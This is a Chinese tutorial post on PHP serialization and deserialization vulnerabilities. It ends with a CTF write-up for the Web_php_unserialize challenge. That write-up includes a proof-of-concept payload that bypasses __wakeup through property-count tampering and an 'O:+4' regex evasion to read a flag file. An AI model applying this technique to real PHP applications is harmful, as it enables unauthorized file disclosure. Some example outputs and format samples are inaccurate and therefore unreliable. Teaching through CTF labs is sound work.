PHP序列化

14 篇文章 0 订阅

序列化

serialize()将对象转变成一个字符串便于之后的传递与使用;
序列化会保存对象所有的变量,但是不会保存对象的方法;

反序列化

unserialize()将序列化的结果恢复成对象;
反序列化一个对象,这个对象的类必须在反序列化之前定义,或者通过包含该类的定义或者使用 spl_autoload_register() (自动包含类)实现;

例子

<?php
class Demo{ 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
}

$s = new Demo('test.php');
$str = serialize($s);
echo($str."\n");

print_r(unserialize($str));

$sir = unserialize($str);
$sir->data();
?>

结果:

O:4:"Demo":1:{s:10:"Demofile";s:8:"test.php";}
Demo Object
(
    [file:Demo:private] => test.php
)
sir

序列化格式:
布尔型:

b:value
b:0 //false
b:1 //true

整数型:

i:value
i:1
i:-1

字符型:

s:length:"value";
s:4:"aaaa";

对象:

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"Person":3:{s:4:"name";N;s:3:"age";i:18;s:3:"sex";B;}

数组:

a:<length>:{key; value pairs};
a:1:{i:1;s:1:"a";}

NULL型:

N

魔术方法

php 类中包含的一些以 _ 开头的函数:

__construct对象被创建时调用,但 unserialize() 时不会调用;

__destruct对象被销毁时调用;

__toString对象被当做字符串使用时调用,返回一个字符串(不仅 echo ,比如 file_exists() 也会触发);

__sleep序列化对象之前调用此方法(返回一个包含对象中所有应被序列化的变量名称的数组);

__wakeup恢复反序列化对象之前调用;

__call调用不存在的方法时;

反序列化漏洞

Web_php_unserialize

攻防世界Web_php_unserialize
1
poc:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$s = new Demo('fl4g.php');

$str = serialize($s);
echo($str."\n");

$str = str_replace('O:4', 'O:+4',$str);
$str = str_replace(':1:', ':3:',$str);
echo(base64_encode($str)."\n");
?>

结果:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

2

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值